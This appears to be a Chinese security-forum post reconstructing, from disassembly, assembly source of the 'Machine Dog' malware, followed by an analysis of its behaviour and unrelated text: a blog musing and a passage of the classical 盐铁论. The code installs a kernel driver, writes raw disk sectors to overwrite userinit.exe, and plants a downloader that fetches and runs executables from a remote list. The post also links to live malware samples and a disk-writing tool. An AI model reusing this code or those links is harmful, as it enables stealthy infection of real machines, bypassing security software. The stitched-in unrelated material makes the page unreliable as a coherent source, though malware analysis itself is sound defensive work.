push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz CreateServiceFailed
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE
CreateServiceFailed:
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz short OpenServiceFailed
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle
OpenServiceFailed:
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz QUIT
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE
QUIT:
jmp Exit
OPENSERVICE:
push 10h ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OPENSERVICEFAILED
mov hSCObject, eax
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push hSCObject ; hService
call StartServiceA
or eax, eax
jnz StartServiceOK
jmp Exit
StartServiceOK: ; hSCObject
push hSCObject
call CloseServiceHandle
push hSCManager ; hSCObject
call CloseServiceHandle
jmp OpenSCManagerFailed
OPENSERVICEFAILED:
push hSCManager
call CloseServiceHandle
jmp Exit
OpenSCManagerFailed: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
Exit:
push 10h
push 0 ; lpCaption
push offset Text ; "出错"
push 0 ; hWnd
call MessageBoxA
push 0 ; uExitCode
call ExitProcess
LoadServiceFromRes endp
aSystemrootSyst db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,
;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。
;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。
; 用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。
; 要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。
;
;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。
; 当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。
;其他信息:
; 1)当卷被格式化时可以选择簇的大小。
; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。
; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。
;下面是一个关于允许和默认簇的大小的列表:
;Windows NT
; 512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
; 512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB
;卷的大小 默认的簇的大小
;< 512MB Sector size
;< 1GB 1KB
;< 2GB 2KB
;> 2GB 4KB
;***************************************************************************************************************
DoMyWork proc lpFileName ;成功返回值为0
LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject
pusha
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys创建的符号链接
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateFileFailed
mov hDevice, eax
push 0 ; hTemplateFile
push 20000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push lpFileName ; 打开userinit.exe
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateUserInitFileFailed
mov hObject, eax
push 8
lea eax,InBuffer
push eax
call RtlZeroMemory
push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or eax, eax
jz DeviceIoControlFailed
;这个结构是8字节对齐的,结构长度32字节
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;
lea edi, OutBuffer ;OutBuffer是上面结构体指针
mov ebx, [edi] ;ExtentCount = Extents数组元素个数
lea edi, [edi+10h] ;指向Extents数组首地址,根据字节对齐
mov eax, DistanceToMoveHigh
or ebx, ebx ;判断ExtentCount是否为0
jz ExtentCountIsZero
mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA
mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;读取userinit文件开头512字节
push hObject ; hObject
call CloseHandle
mov hObject, 0 ;关闭文件
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call CreateFileA ;打开物理硬盘读写
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax
push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读取硬盘主引导分区MBR
;
; 0000 |------------------------------------------------|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引导记录(446字节) |
; | |
; | |
; | |
; 01BD | |
; 01BE |------------------------------------------------|
; | |
; 01CD | 分区信息 1(16字节) |
; 01CE |------------------------------------------------|
; | |
; 01DD | 分区信息 2(16字节) |
; 01DE |------------------------------------------------|
; | |
; 01ED | 分区信息 3(16字节) |
; 01EE |------------------------------------------------|
; | |
; 01FD | 分区信息 4(16字节) |
; |------------------------------------------------|
; | 01FE | 01FF |
; | 55 | AA |
; |------------------------------------------------|
;分区表
;
; 分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求,
因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
;
; 主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:
;
;typedef struct
;{
; BYTE byState;//分区状态, 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分区起始磁头号
; WORD wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位
; BYTE byFSID; //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
; BYTE byEndHead;//分区结束磁头号
; WORD wEndSC;//分区结束扇区和柱面号
; DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
; DWORD dwSectors;//分区大小 (总扇区数)
;} INFOAREA_PARAM;//磁盘的分区信息
lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判断是否为活动分区
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判断分区类型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS
FAT32:
mov eax, [edi+1C6h] ;C盘起始扇区(首扇区的相对扇区号)
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出实际的字节偏移
mov DistanceToMoveHigh, edx
mov ecx, eax
push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盘C盘起始扇区的绝对位置
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPB
lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA
WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
mov eax, [edi+24h] ; BPB_FATSz32 = 每个FAT占用扇区数
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;数据记录起始扇区
FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇区
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出绝对偏移字节位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盘扇区读
lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确
or ecx, ecx
jnz DIFF
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盘扇区处
mov eax, nNumberOfBytesToWrite
shl eax, 9 ;这个值是作者估算的
mov nNumberOfBytesToWrite, eax
push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax
mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl
;并将pcihdd返回的数据直接写入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile
push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER
ALLOCMEMORYFAILED:
; "分配内存不成功"
mov dwRet, offset aFCJ
OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED
DIFF:
mov dwRet, offset ERR1
jmp FINISHED
NTFS:
mov dwRet, offset ERR2
jmp FINISHED
NOTACTIVEDISK:
mov dwRet, offset ERR3
FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED
FEIHUA:
mov dwRet, offset ERR4
OPENPHYSICSFAILED: ;打开硬盘设备失败
jmp ExtentCountIsZero
DeviceIoControlFailed:
mov dwRet, offset ERR5
ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject
CreateUserInitFileFailed:
mov dwRet, offset ERR6
ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT
CreateFileFailed:
mov dwRet, offset ERR7
EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp
start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource
push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call ExpandEnvironmentStringsA
push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit
FAILED: ; lpOutputString
push eax
call OutputDebugStringA
Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp
end start
文章作者:naitm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章备注:从IDA中复制,稍作修改所得。
ASM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 机器狗写入到userinit.exe文件的恶意代码
; by naitm(http://hi.baidu.com/naitm)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt proc @lpExePath
local @ProcessInformation:PROCESS_INFORMATION
local @StartupInfo:STARTUPINFO
invoke GetStartupInfo,addr @StartupInfo
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr
@ProcessInformation
.if eax == 0
invoke CloseHandle,@ProcessInformation.hThread
invoke CloseHandle,@ProcessInformation.hProcess
.endif
leave
retn 4
_RunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer
local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
local @lpbuffer[200h]:BYTE
xor eax, eax
mov @nWriteCount, eax
invoke InternetOpen,addr szAgent,0,0,0,0
.if eax != 0
mov @hInternet, eax
invoke InternetSetOption,@hInternet,2,@Buffer,4
invoke InternetSetOption,@hInternet,6,@Buffer,4
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
.if eax != 0
mov @hInternetFile, eax
mov @nNumberOfBytesToWrite, 0
mov @NumberOfBytesWritten, 200h
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,\
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
.if eax != 0
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
.if eax != 0FFFFFFFFh
mov @hLocalFile, eax
.while TRUE
mov @nNumberOfBytesToWrite, 0
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr
@nNumberOfBytesToWrite
.break .if (!eax)
.break .if (@nNumberOfBytesToWrite==0)
inc @nWriteCount
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,\
addr @NumberOfBytesWritten,0
.endw
invoke SetEndOfFile,@hLocalFile
invoke CloseHandle,@hLocalFile
.endif
.endif
invoke InternetCloseHandle,@hInternetFile
.endif
invoke InternetCloseHandle,@hInternet
.endif
mov eax, @nWriteCount
leave
retn 0Ch
_DownloadFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc @lpURL
local @DownTimes
local @TempFileName[204h]:BYTE
local @TempFileName2[204h]:BYTE
local @szUrl[104h]:BYTE
mov @DownTimes, 3Ch
invoke lstrcpy,addr @szUrl,@lpURL
invoke RtlZeroMemory,addr @TempFileName,204
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
invoke lstrcpy,addr @TempFileName2,addr @TempFileName
DownloadNxTime:
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
or eax, eax
jz DownloadFailed
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
invoke _RunIt,addr @TempFileName
jmp DownloadEnd
; ---------------------------------------------------------------------------
DownloadFailed:
invoke Sleep,3E8h
dec @DownTimes
jnz DownloadNxTime
DownloadEnd:
dec nThreadCount
leave
retn 4
_DownloadEXERunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc
local hKey,hObject,hFile,lpBaseAddress,ThreadId
local szShellValue[104h]:BYTE
invoke LoadLibrary,offset szUser32Dll
or eax, eax
jz RegQueryShell
invoke GetProcAddress,eax,offset szLoadRemoteFonts
or eax, eax
jz RegQueryShell
call eax
RegQueryShell:
invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
or eax, eax
jnz TestInternet
mov ThreadId, 104h
invoke RtlZeroMemory,addr szShellValue,104h
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
invoke _RunIt,addr szShellValue
invoke RegCloseKey,hKey
TestInternet:
invoke Sleep,3E8h
invoke InternetGetConnectedState,addr ThreadId,0
or eax, eax
jnz InternetConnect_OK
jmp TestInternet
; ---------------------------------------------------------------------------
InternetConnect_OK:
invoke RtlZeroMemory,addr szShellValue,104h
invoke GetTempFileName,offset PathName,0,0,addr szShellValue
DownList:
invoke Sleep,3E8h
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
or eax, eax
jz DownListFailed
mov nThreadCount, 0
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
cmp eax, INVALID_HANDLE_VALUE
jz ReaptDownList
mov hFile, eax
invoke GetFileSize,hFile,0
cmp eax, 0Fh
jnb BeginDownEXE
invoke CloseHandle,hFile
jmp DownList
; ---------------------------------------------------------------------------
BeginDownEXE:
invoke CreateFileMapping,hFile,0,2,0,0,0
or eax, eax
jz CreateMapFailed
mov hObject, eax
invoke MapViewOfFile,eax,4,0,0,0
or eax, eax
jz MapViewFailed
mov lpBaseAddress, eax
mov esi, eax
loc_4005E1:
lea edi, szShellValue
push 104h
push edi
call RtlZeroMemory
WetherNewLine:
lodsb
cmp al, 0Ah
jnz loc_4005F8
lodsb
loc_4005F8:
cmp al, 0Dh
jz loc_400605
stosb
or al, al
jz UrlListEnd
jmp WetherNewLine
; ---------------------------------------------------------------------------
jmp UrlListEnd
; ---------------------------------------------------------------------------
loc_400605:
cmp szShellValue, 0
jz NextLine
inc nThreadCount
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr
szShellValue,0,addr ThreadId
invoke CloseHandle,eax
invoke Sleep,64h
NextLine:
jmp loc_4005E1
; ---------------------------------------------------------------------------
UrlListEnd:
invoke UnmapViewOfFile,lpBaseAddress
MapViewFailed:
invoke CloseHandle,hObject
CreateMapFailed:
invoke CloseHandle,hFile
jmp WetherTreadend
; ---------------------------------------------------------------------------
ReaptDownList:
jmp DownList
; ---------------------------------------------------------------------------
jmp WetherTreadend
; ---------------------------------------------------------------------------
DownListFailed:
jmp DownList
; ---------------------------------------------------------------------------
WetherTreadend:
cmp nThreadCount, 0
jz ExitProgram
invoke Sleep,64h
jmp WetherTreadend
; ---------------------------------------------------------------------------
ExitProgram:
invoke ExitProcess,0
main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
鬼仔注:文章末尾所添加的机器狗、IGM、写穿还原的工具(已可以被卡巴检测到是病毒)是在无敌小龙那里看到的,我加了个备用地址。
样本脱壳
OD加载样本explorer.exe,
对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用,
退出CALL之后可以得到入口为 004016ED。
重新加载样本,对004016ED下内存写入断点,中断后StepOver一步,然后在004016ED
下断点,F9运行到入口,DUMP。DUMP之后不关闭OD,让样本处于挂起状态,使用ImportREC修复DUMP
出来的文件的导入表。
修复之后DUMP出来的文件用OD加载出错,使用PEDITOR的rebuilder功能重建PE之后即可用OD加载,说明
脱壳基本成功,但资源部分仍有问题,无法用Reshacker查看
pcihdd.sys的提取
OD加载样本explorer.exe,设置有新模块加载时中断,F9运行
当ADVAPI32.DLL加载时,对CreateServiceA下断点,F9运行
当CreateServiceA中断时,即可提取出pcihdd.sys
pcihdd.sys基本流程如下
1)检查IDT的09(NPX Segment Overrun)和0E(Page Fault )处理程序的地址
如果09号中断处理程序存在,并且处理程序地址的高8位与0E处理程序高8位不同,则把
IDT中0E的高16位设为0。估计是检查0E是不是被HOOK了
我比较龌龊,看不懂这些操作的意思,这样不BSOD?请懂的兄弟跟帖告诉一声
2)通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
3)创建了\Device\PhysicalHardDisk0及其符号连接\DosDevices\PhysicalHardDisk0
4)只对IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_DEVICE_CONTROL
作出响应
其中IRP_MJ_CREATE中会断开\Device\Harddisk0\DR0上附加的设备。这个操作会使磁盘过滤驱动、文件系统驱动(OS提供的,
但一些杀毒软件也通过此渠道进行文件系统监控)及其上的文件系统过滤驱动(大多数文件访问控制和监控
都是这个层次的)无效(参见http://blog.csdn.net/joshua_yu/archive/2006/02/04/591636.aspx)
在IRP_MJ_CLOSE 中对恢复DR0上的附加
在IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,只是把2)中找到的资源数据解密后返回到应用程序。
解密密钥是通过应用程序传入的一个串(密钥种子?)查表后产生(KEY:0x3f702d98)
0xF0003C04的作用:
将用户态传入的整个代码体作为密钥种子对这个代码体进行类似于校验和的运算后得
到4字节的解密KEY,然后使用此解密key将驱动自身携带的资源解密(仅仅是XOR),将解密
结果返回给用户态。
关于解除DR0上的附加设备:
这种操作应该会影响系统正常的文件系统操作,但是因为实际操作时此驱动被打开和关闭的的间隔很短,所以应该
不会有明显影响。
explorer.exe流程
1、释放资源中的pcihdd.sys并创建名为pcihdd的服务,启动服务
2、定位userinit.exe在硬盘中的位置。定位方法如下
1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布信息
2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和
第一个分区的引导扇区得到分区参数(每簇扇区数),配合1)中得到的信息
来定位文件在硬盘上的绝对偏移量。
这里有个小BUG,扇区大小是使用固定的512字节而不是从引导扇区中获取
3)通过对比ReadFile读取的文件数据和自己定位后直接
读取所得到的文件数据,确定定位是否正确
3、把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,并将pcihdd返回
的数据直接写入userinit.exe的第一簇
被修改后的userinit.exe
1)查询SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Shell键值
2)创建Shell进程
3)等待网络链接,当网络链接畅通后,则从http://yu.8s7.net/cert.cer下载列表
4)对于列表中的文件每个文件,创建一个新线程下载并执行,线程计数加一(INC)
5)等待所有线程结束后(线程计数为0)结束进程。
对于线程计数的操作并不是原子操作,理论上多CPU情况下有小的概率出问题。
不过人家是写针对普通PC的病毒,多CPU不常见,也不需要稳定
simple.rar (142.99 KB)
文中所指的病毒就是一般说的新AV终结者
机器狗:http://www.esfast.net/downs/explorer.rar [备用地址]
IGM:http://www.esfast.net/downs/IGM.rar [备用地址]
写穿还原的工具:http://www.esfast.net/downs/SectorEditor.zip
想想,现在的信息,在硬盘上,在光盘上,过上几年就丢了,现在还保留着上学时用的磁盘,里面的东西,估计早就读不出来了。还是古人保存信息的方法好啊,直接刻在石头上,过了几十个世纪,都还清清楚楚地在上面。
无论是信息的有效性,还是保存信息的技术,古人确实很有一套啊。下面的日子,要经常读经典的东西了,没时间经常上网了。
也许以后只是在经常写一下想法,和日记似的,必要的时候,才会开机上网吧。
下面是盐铁论第一部分,看看,是不是非常精彩。google一下,网上有可以下载的地方。诸子百家的全文,txt版本。
家庭百宝箱系列软件主页
盐铁论 卷一
(桓宽)
返回:诸子百家目录
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)
本议第一
惟始元六年,有诏书使丞相、御史与所举贤良、文学语。问民间所疾苦。
文学对曰:"窃闻治人之道,防淫佚之原,广道德之端,抑末利而开仁义,毋示以利
,然后教化可兴,而风俗可移也。今郡国有盐、铁、酒榷,均输,与民争利。散敦厚之朴,成贪鄙之化。是以百姓就本者寡,趋末者众。夫文繁则质衰,末盛则质亏。末修则民淫,本修则民悫。民悫则财用足,民侈则饥寒生。愿罢盐、铁、酒榷、均输,所以进本退末,广利农业,便也。"
大夫曰:"匈奴背叛不臣,数为寇暴于边鄙,备之则劳中国之士,不备则侵盗不止。先帝哀边人之久患,苦为虏所系获也,故修障塞。饬烽燧,屯戍以备之。边用度不足,故兴盐、铁,设酒榷,置均输,蕃货长财,以佐助边费。今议者欲罢之,内空府库之藏,外乏执备之用,使备塞乘城之士饥寒于边,将何以赡之?罢之,不便也。"
文学曰:"孔子曰:'有国有家者,不患贫而患不均,不患寡而患不安。'故天子不言多少,诸侯不言利害,大夫不言得丧。畜仁义以风之,广德行以怀之。是以近者亲附而远者悦服。故善克者不战,善战者不师,善师者不阵。修之于庙堂,而折冲还师。王者行仁政,无敌于天下,恶用费哉?"
大夫曰:"匈奴桀黠,擅恣入塞,犯厉中国,杀伐郡、县、朔方都尉,甚悖逆不轨
,宜诛讨之日久矣。陛下垂大惠,哀元元之未赡,不忍暴士大夫于原野;纵难被坚执锐,有北面复匈奴之志,又欲罢盐、铁、均输,扰边用,损武略,无忧边之心,于其义未便也。"
文学曰:"古者,贵以德而贱用兵。孔子曰:'远人不服,则修文德以来之。既来之,则安之。'今废道德而任兵革,兴师而伐之,屯戍而备之,暴兵露师,以支久长,转输粮食无已,使边境之士饥寒于外,百姓劳苦于内。立盐、铁,始张利官以给之,非长策也。故以罢之为便也。"
